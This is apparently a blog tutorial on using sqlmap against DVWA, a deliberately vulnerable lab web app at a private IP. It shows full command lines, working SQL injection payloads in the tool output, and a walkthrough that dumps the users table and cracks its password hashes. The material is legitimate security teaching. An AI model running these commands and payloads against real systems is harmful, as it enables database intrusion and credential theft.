Intro to sqlmap

Quoting its official page, “sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.”

sqlmap is a super complex tool with lots and lots of options and switches that you can bend and use to suit your needs. Today, we’ll look at taking some beginner steps - installing, basic usage and a walkthrough of a use-case - cracking hashed passwords stored in a database table and tackling some common hiccups.

Installing sqlmap

You could clone the git repo hosted on the sqlmap’s Github page or simply download the gunzipped tarball

Next, we extract it to a location of your choice. In my case it’s going to be /home/nitin/Downloads/tools/

$ tar -xvzf sqlmapproject-sqlmap-0.9-4078-g25b2375.tar.gz -C /home/nitin/Downloads/tools/

To be able to use sqlmap from any location on your system, let’s create a symlink to it at /usr/bin called sqlmap

$ sudo ln -s /home/nitin/Downloads/tools/sqlmapproject-sqlmap-25b2375/sqlmap.py /usr/bin/sqlmap

Now, we’re all set to use sqlmap and get down to business!

Viewing the help

This is probably the most important command (at least for me).

A short version of the help menu can be gotten with the -h switch, whereas a more detailed help menu listing all the options the tool offers can be gotten with the -hh switch.

$ sqlmap -h # Short help menu
$ sqlmap -hh # Detailed help menu

Using sqlmap

sqlmap has a ton of different options that you can tweak and use. For detailed information on them, refer to the sqlmap Usage wiki. It’s a good idea to bookmark this link, it will definitely come in handy in the future.

Using the wizard

sqlmap offers a wizard that provides a nice prompt-based walkthrough to gather the information required and then carries out the task required.

$ sqlmap --wizard

[*] starting at 22:59:15

[22:59:15] [INFO] starting wizard interface
Please enter full target URL (-u): http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#
POST data (--data) [Enter for None]: 
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
> 1

sqlmap is running, please wait..

Basic usage

To use sqlmap more effectively, you’ll want to use some of the plethora of options provided by the tool.

Let’s dissect some of the options used in the following command (which is also used in the example below)

  • -u : URL to submit the requests to
  • -p : Specific parameter to try SQLi on
  • --cookie : The cookie data as present in the HTTP request (for pages that need authentication)
  • --dbms : Specify the database if you already know it.

And, the example,

$ sqlmap --cookie='security=low; PHPSESSID=h7h7qg2lnoe1ktns7gphsdcfb4' -u 'http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit' -p id --dbms=MySQL

[*] starting at 22:46:45

[22:46:45] [INFO] testing connection to the target URL
[22:46:45] [INFO] testing if the target URL is stable. This can take a couple of seconds
[22:46:46] [INFO] target URL is stable
[22:46:46] [INFO] heuristics detected web page charset 'ascii'
[22:46:46] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[22:46:46] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to XSS attacks
[22:46:46] [INFO] testing for SQL injection on GET parameter 'id'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[22:47:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:47:06] [WARNING] reflective value(s) found and filtering out
[22:47:06] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[22:47:06] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[22:47:06] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable 
[22:47:06] [INFO] testing 'MySQL inline queries'
[22:47:06] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[22:47:06] [WARNING] time-based comparison requires larger statistical model, please wait..                                                              
[22:47:06] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (SELECT)'
[22:47:16] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based blind (SELECT)' injectable 
[22:47:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:47:16] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:47:16] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[22:47:16] [INFO] target URL appears to have 2 columns in query
[22:47:16] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 41 HTTP(s) requests:
---
Parameter: id (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=asd' AND (SELECT 2740 FROM(SELECT COUNT(*),CONCAT(0x716a6b7a71,(SELECT (ELT(2740=2740,1))),0x7162706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'nJFl'='nJFl&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: id=asd' AND (SELECT * FROM (SELECT(SLEEP(5)))pYwt) AND 'ljBw'='ljBw&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=asd' UNION ALL SELECT CONCAT(0x716a6b7a71,0x427a4e7250694675784b,0x7162706b71),NULL-- &Submit=Submit
---
[22:47:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0
[22:47:22] [INFO] fetched data logged to text files under '/home/nitin/.sqlmap/output/192.168.56.101'

[*] shutting down at 22:47:22

Using a request file

This is my favourite way of using sqlmap. It takes out the pain of extracting information to be used with options on the command-line.

Here is a sample request file.

$ cat dvwa_sqli_request.txt 

GET /dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/dvwa/vulnerabilities/sqli/
Cookie: security=low; PHPSESSID=7vveim3k49uk88jfusj6v0uqs5
Connection: keep-alive

Now, using the sample request as input to sqlmap,

$ sqlmap -r dvwa_sqli_request.txt -p id --dbms=MySQL

[*] starting at 23:04:13

dvwa_sqli_request.txt
[23:04:13] [INFO] parsing HTTP request from 'dvwa_sqli_request.txt'
dvwa_sqli_request.txt
[23:04:13] [INFO] testing connection to the target URL
[23:04:13] [INFO] testing if the target URL is stable. This can take a couple of seconds
[23:04:14] [INFO] target URL is stable
[23:04:14] [INFO] heuristics detected web page charset 'ascii'
[23:04:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[23:04:14] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to XSS attacks
[23:04:14] [INFO] testing for SQL injection on GET parameter 'id'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[23:04:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:04:17] [WARNING] reflective value(s) found and filtering out
[23:04:17] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[23:04:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[23:04:17] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable 
[23:04:17] [INFO] testing 'MySQL inline queries'
[23:04:17] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[23:04:17] [WARNING] time-based comparison requires larger statistical model, please wait..
[23:04:17] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (SELECT)'
[23:04:27] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based blind (SELECT)' injectable 
[23:04:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:04:27] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[23:04:27] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[23:04:27] [INFO] target URL appears to have 2 columns in query
[23:04:27] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 41 HTTP(s) requests:
---
Parameter: id (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=asd' AND (SELECT 7589 FROM(SELECT COUNT(*),CONCAT(0x717a767a71,(SELECT (ELT(7589=7589,1))),0x71717a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'jjhL'='jjhL&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: id=asd' AND (SELECT * FROM (SELECT(SLEEP(5)))RjHu) AND 'ptvZ'='ptvZ&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=asd' UNION ALL SELECT NULL,CONCAT(0x717a767a71,0x6b4d735265694c50784a,0x71717a7671)-- &Submit=Submit
---
[23:04:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0
[23:04:32] [INFO] fetched data logged to text files under '/home/nitin/.sqlmap/output/192.168.56.101'

[*] shutting down at 23:04:32

Cracking passwords (Example Walkthrough)

Step 1: Find the name of the database

$ sqlmap -u 'http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#' --cookie='security=low; PHPSESSID=h7h7qg2lnoe1ktns7gphsdcfb4' --current-db

Step 2: Find the tables of the database

$ sqlmap -u 'http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#' --cookie='security=low; PHPSESSID=h7h7qg2lnoe1ktns7gphsdcfb4' --tables

Step 3: Crack the passwords

$ sqlmap -u 'http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#' --cookie='security=low; PHPSESSID=h7h7qg2lnoe1ktns7gphsdcfb4' -D dvwa -T users --dump

...
...
[23:14:44] [INFO] fetching columns for table 'users' in database 'dvwa'
[23:14:44] [INFO] fetching entries for table 'users' in database 'dvwa'
[23:14:44] [INFO] analyzing table dump for possible password hashes
[23:14:44] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y 
[23:14:47] [INFO] writing hashes to a temporary file '/tmp/sqlmapSNyPFw7454/sqlmaphashes-Y3UX6b.txt' 
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[23:14:50] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/home/nitin/Downloads/tools/sqlmapproject-sqlmap-25b2375/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 
[23:14:54] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] n
[23:14:58] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[23:14:58] [INFO] starting 6 processes 
[23:15:00] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[23:15:01] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[23:15:03] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[23:15:04] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[23:15:06] [INFO] current status: ~n0xl... \
[23:15:06] [INFO] postprocessing table dump
Database: dvwa
Table: users
[5 entries]
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+------------+
| user_id | user    | avatar                                                | password                                    | last_name | first_name |
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+------------+
| 1       | admin   | http://192.168.56.101/dvwa/hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      |
| 2       | gordonb | http://192.168.56.101/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     |
| 3       | 1337    | http://192.168.56.101/dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       |
| 4       | pablo   | http://192.168.56.101/dvwa/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      |
| 5       | smithy  | http://192.168.56.101/dvwa/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        |
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+------------+

[23:15:06] [INFO] table 'dvwa.users' dumped to CSV file '/home/nitin/.sqlmap/output/192.168.56.101/dump/dvwa/users.csv'
[23:15:06] [INFO] fetched data logged to text files under '/home/nitin/.sqlmap/output/192.168.56.101'

[*] shutting down at 23:15:06

Common hiccups

Hiccup 1 - Patched the SQLi vulnerability but sqlmap still works and pwns my database!

The above statement sounds absolutely ridiculous, but it is true. Sometimes you discover a SQLi vulnerability with sqlmap, patch it up and run sqlmap again - and you see that the exploit still happens!

Not to worry, your codefix is probably working and sqlmap is fetching the results from its cache. Try using one of the following switches to solve this,

--flush-session     Flush session files for current target
--fresh-queries     Ignore query results stored in session file

Or, you could also manually remove the session files and run sqlmap once again.

$ ls -F ~/.sqlmap/output/
192.168.56.101/  localhost/  nitin@trusty/

$ ls -l ~/.sqlmap/output/192.168.56.101/
total 16
drwxr-xr-x 4 nitin nitin 4096 Mar 14 23:09 dump
-rw-rw-r-- 1 nitin nitin  939 May 10 23:04 log
-rw-r--r-- 1 nitin nitin 4096 May 10 23:04 session.sqlite
-rw-rw-r-- 1 nitin nitin   78 May 10 23:04 target.txt

Hiccup 2 - I know SQLi is possible but sqlmap fails

This is where you could try increasing the level and risk with the switches,

--level=LEVEL       Level of tests to perform (1-5, default 1)
--risk=RISK         Risk of tests to perform (0-3, default 1)

Share on